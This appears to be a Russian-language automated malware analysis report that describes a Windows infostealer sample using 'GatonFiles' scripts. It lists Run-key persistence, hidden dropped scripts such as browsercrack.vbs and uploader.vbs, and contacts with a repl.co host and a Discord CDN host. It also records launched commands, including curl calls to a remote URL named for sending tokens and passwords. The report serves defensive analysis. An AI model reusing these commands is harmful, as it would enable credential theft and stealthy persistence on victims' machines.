Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'REGISTRO' = 'C:\GatonFiles\Scripts\DespiertadorDeRegistro.vbs'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'STARTUP' = 'C:\GatonFiles\Scripts\Actualizador.vbs'
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\abduscanloloxooslx.exe
- C:\temp\files\cmc.bat
- C:\temp\files\despiertador.bat
- C:\temp\files\files.vbs
- C:\temp\files\messagesender.vbs
- C:\temp\files\regedit.vbs
- C:\temp\files\userdata.bat
- C:\temp\files\wifi.bat
- C:\gatonfiles\scripts\despiertador.bat
- C:\temp\files\custom runer.vbs
- C:\temp\files\actualizador.vbs
- C:\temp\files\link.exe
- C:\temp\files\uploader.bat
- C:\temp\files\uploader.vbs
- C:\temp\files\exeptcion.bat
- C:\temp\files\despiertadorderegistro.bat
- C:\temp\files\despiertadorderegistro.vbs
- C:\gatonfiles\scripts\miniscripts\custom runer.vbs
- C:\gatonfiles\scripts\link.exe
- C:\gatonfiles\scripts\miniscripts\windows security provider.vbs
- C:\gatonfiles\scripts\tools.bat
- C:\gatonfiles\scripts\exeptcion.bat
- C:\gatonfiles\data\ipgraverstart\start.dll
- C:\gatonfiles\scripts\regedit.vbs
- C:\gatonfiles\scripts\uploader.bat
- C:\gatonfiles\scripts\esprendador.ps1
- C:\gatonfiles\scripts\messagesender.vbs
- C:\gatonfiles\scripts\files.vbs
- C:\gatonfiles\scripts\userdata.bat
- C:\temp\files\esprendador.ps1
- C:\temp\files\despiertadespiertador.bat
- C:\gatonfiles\scripts\wifi.bat
- C:\gatonfiles\scripts\browsercrack.vbs
- C:\gatonfiles\scripts\cmc.bat
- C:\gatonfiles\scripts\despiertadespiertador.bat
- C:\gatonfiles\scripts\despiertadorderegistro.bat
- C:\gatonfiles\scripts\uploader.vbs
- C:\gatonfiles\scripts\despiertadorderegistro.vbs
- C:\gatonfiles\scripts\actualizador.vbs
- C:\gatonfiles\data\ipgraverstart\installedversion.dll
- C:\gatonfiles\scripts\browsercrack.bat
- C:\gatonfiles\data\messagesender\waittime.dll
Присваивает атрибут 'скрытый' для следующих файлов
- C:\gatonfiles\scripts\regedit.vbs
- C:\gatonfiles\scripts\miniscripts\windows security provider.vbs
- C:\gatonfiles\scripts\tools.bat
- C:\gatonfiles\scripts\exeptcion.bat
- C:\gatonfiles\scripts\actualizador.vbs
- C:\gatonfiles\scripts\despiertadorderegistro.vbs
- C:\gatonfiles\scripts\uploader.vbs
- C:\gatonfiles\scripts\despiertadorderegistro.bat
- C:\gatonfiles\scripts\despiertadespiertador.bat
- C:\gatonfiles\scripts\miniscripts\custom runer.vbs
- C:\gatonfiles\scripts\cmc.bat
- C:\gatonfiles\scripts\browsercrack.bat
- C:\gatonfiles\scripts\despiertador.bat
- C:\gatonfiles\scripts\wifi.bat
- C:\gatonfiles\scripts\userdata.bat
- C:\gatonfiles\scripts\files.vbs
- C:\gatonfiles\scripts\messagesender.vbs
- C:\gatonfiles\scripts\esprendador.ps1
- C:\gatonfiles\scripts\uploader.bat
- C:\gatonfiles\scripts\browsercrack.vbs
- C:\gatonfiles\scripts\link.exe
Сетевая активность
Подключается к
- 'se######a.mrgaton.repl.co':443
- 'cd#.##scordapp.com':443
TCP
- 'se######a.mrgaton.repl.co':443
- 'cd#.##scordapp.com':443
UDP
- DNS ASK se######a.mrgaton.repl.co
- DNS ASK cd#.##scordapp.com
Другое
Ищет следующие окна
- ClassName: 'Progman' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "C:\GatonFiles\Scripts\BrowserCrack.vbs"
- '<SYSTEM32>\wscript.exe' "C:\GatonFiles\Scripts\Regedit.vbs" /admin /Stops:"0"
- '<SYSTEM32>\cscript.exe' "C:\GatonFiles\Scripts\Messagesender.vbs" /mensajes /Stops:"0"
- '<SYSTEM32>\wscript.exe' "C:\GatonFiles\Scripts\Files.vbs" /Stops:"0"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy ByPass -File C:\GatonFiles\Scripts\Esprendador.ps1
- '<SYSTEM32>\cmd.exe' /c ""C:\GatonFiles\Scripts\DespiertaDespiertador.bat" "' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ""C:\GatonFiles\Scripts\Despiertador.bat" "' (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /delete /tn ACTUALIZADOR /F' (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "BIRUITAA" /f"' (со скрытым окном)
- '<SYSTEM32>\ping.exe' -n "1" "1.1.1.1"' (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "BIRUITAAA" /f"' (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "BIRUITAAAA" /f"' (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "fea" /f"' (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "nes" /f"' (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "reco" /f"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ""C:\GatonFiles\Scripts\cmc.bat" "' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\explorer.exe'
- '<SYSTEM32>\cmd.exe' /b /c "WSCRIPT.EXE "C:\GatonFiles\Scripts\Files.vbs" /Stops:"0""
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "nes" /f"
- '<SYSTEM32>\cmd.exe' /c wmic process where 'CommandLine like "%C:\\GatonFiles\\Scripts\\Esprendador.ps1%" and not CommandLine like "%RuntimeBroker%"' get CommandLine , ProcessId /format:value
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "reco" /f"
- '<SYSTEM32>\wbem\wmic.exe' process where 'CommandLine like "%C:\\GatonFiles\\Scripts\\Esprendador.ps1%" and not CommandLine like "%RuntimeBroker%"' get CommandLine , ProcessId /format:value
- '<SYSTEM32>\cmd.exe' /b /c "powershell -ExecutionPolicy ByPass -File C:\GatonFiles\Scripts\Esprendador.ps1"
- '<SYSTEM32>\cmd.exe' /c ""C:\GatonFiles\Scripts\cmc.bat" "
- '<SYSTEM32>\timeout.exe' 3 /nobreak
- '<SYSTEM32>\cmd.exe' /c curl.exe "https://set-clima.mrgaton.repl.co/DESABILITAR"
- '<SYSTEM32>\wbem\wmic.exe' process where name="cmd.exe" call setpriority 64
- '<SYSTEM32>\cmd.exe' /c cscript "C:\GatonFiles\Scripts\MiniScripts\Windows Security Provider.vbs"
- '<SYSTEM32>\cmd.exe' /c WMIC Path Win32_physicalmedia Get SerialNumber /FORMAT:csv
- '<SYSTEM32>\cmd.exe' /c curl.exe "https://set-clima.mrgaton.repl.co"
- '<SYSTEM32>\cmd.exe' /c curl.exe "https://set-clima.mrgaton.repl.co/WEB.html"
- '<SYSTEM32>\cmd.exe' /c curl.exe "https://set-clima.mrgaton.repl.co/DescargaLink.html"
- '<SYSTEM32>\cmd.exe' /c curl.exe "https://set-clima.mrgaton.repl.co/MesagesenderTIempo.html"
- '<SYSTEM32>\wbem\wmic.exe' process where name="wscript.exe" call setpriority 64
- '<SYSTEM32>\timeout.exe' 1 /nobreak
- '<SYSTEM32>\cmd.exe' /c wmic OS get FreePhysicalMemory
- '<SYSTEM32>\wbem\wmic.exe' OS get FreePhysicalMemory
- '<SYSTEM32>\cmd.exe' /c curl.exe "https://wttr.in/?format=%c"
- '<SYSTEM32>\cmd.exe' /c curl.exe "https://wttr.in/?format=%m"
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "BIRUITAAAA" /f"
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "fea" /f"
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "BIRUITAAA" /f"
- '<SYSTEM32>\ping.exe' -n "1" "1.1.1.1"
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "BIRUITAA" /f"
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\wscript.exe' "C:\GatonFiles\Scripts\MiniScripts\Custom Runer.vbs" /hide /run:"C:\GatonFiles\Scripts\DespiertaDespiertador.bat"
- '<SYSTEM32>\cmd.exe' /c curl.exe https://set-clima.mrgaton.repl.co/IpGraverEnviarTokensYcontrase%C3%B1as.html
- '<SYSTEM32>\cmd.exe' /c ""C:\GatonFiles\Scripts\DespiertaDespiertador.bat" "
- '<SYSTEM32>\cmd.exe' /c wmic process where 'CommandLine like "%C:\\GatonFiles\\Scripts\\Despiertador.bat%" and not CommandLine like "%RuntimeBroker%"' get CommandLine , ProcessId /format:value
- '<SYSTEM32>\wbem\wmic.exe' process where 'CommandLine like "%C:\\GatonFiles\\Scripts\\Despiertador.bat%" and not CommandLine like "%RuntimeBroker%"' get CommandLine , ProcessId /format:value
- '<SYSTEM32>\wscript.exe' "C:\GatonFiles\Scripts\MiniScripts\Custom Runer.vbs" /hide /run:"C:\GatonFiles\Scripts\Despiertador.bat"
- '<SYSTEM32>\cmd.exe' /c ""C:\GatonFiles\Scripts\Despiertador.bat" "
- '<SYSTEM32>\cmd.exe' /c wmic OS GET CSName
- '<SYSTEM32>\cmd.exe' /c curl.exe "https://wttr.in/?format=%t"
- '<SYSTEM32>\wbem\wmic.exe' Path Win32_physicalmedia Get SerialNumber /FORMAT:csv
- '<SYSTEM32>\wbem\wmic.exe' OS GET CSName
- '<SYSTEM32>\cmd.exe' /c wmic process where 'CommandLine like "%C:\\GatonFiles\\Scripts\\Regedit.vbs%" and not CommandLine like "%RuntimeBroker%"' get CommandLine , ProcessId /format:value
- '<SYSTEM32>\wbem\wmic.exe' process where 'CommandLine like "%C:\\GatonFiles\\Scripts\\Regedit.vbs%" and not CommandLine like "%RuntimeBroker%"' get CommandLine , ProcessId /format:value
- '<SYSTEM32>\cmd.exe' /b /c "WSCRIPT.EXE "C:\GatonFiles\Scripts\Regedit.vbs" /admin /Stops:"0""
- '<SYSTEM32>\timeout.exe' /nobreak
- '<SYSTEM32>\cmd.exe' /c wmic process where 'CommandLine like "%C:\\GatonFiles\\Scripts\\Messagesender.vbs%" and not CommandLine like "%RuntimeBroker%"' get CommandLine , ProcessId /format:value
- '<SYSTEM32>\wbem\wmic.exe' process where 'CommandLine like "%C:\\GatonFiles\\Scripts\\Messagesender.vbs%" and not CommandLine like "%RuntimeBroker%"' get CommandLine , ProcessId /format:value
- '<SYSTEM32>\schtasks.exe' /delete /tn ACTUALIZADOR /F
- '<SYSTEM32>\cmd.exe' /b /c "CSCRIPT.EXE "C:\GatonFiles\Scripts\Messagesender.vbs" /mensajes /Stops:"0""
- '<SYSTEM32>\cmd.exe' /c wmic process where 'CommandLine like "%C:\\GatonFiles\\Scripts\\Files.vbs%" and not CommandLine like "%RuntimeBroker%"' get CommandLine , ProcessId /format:value
- '<SYSTEM32>\wbem\wmic.exe' process where 'CommandLine like "%C:\\GatonFiles\\Scripts\\Files.vbs%" and not CommandLine like "%RuntimeBroker%"' get CommandLine , ProcessId /format:value
- '<SYSTEM32>\cmd.exe' /c ""C:\GatonFiles\Scripts\Exeptcion.bat""
- '<SYSTEM32>\cscript.exe' "C:\GatonFiles\Scripts\MiniScripts\Windows Security Provider.vbs"
- '<SYSTEM32>\cmd.exe' /c curl.exe "https://wttr.in/?format=%w"
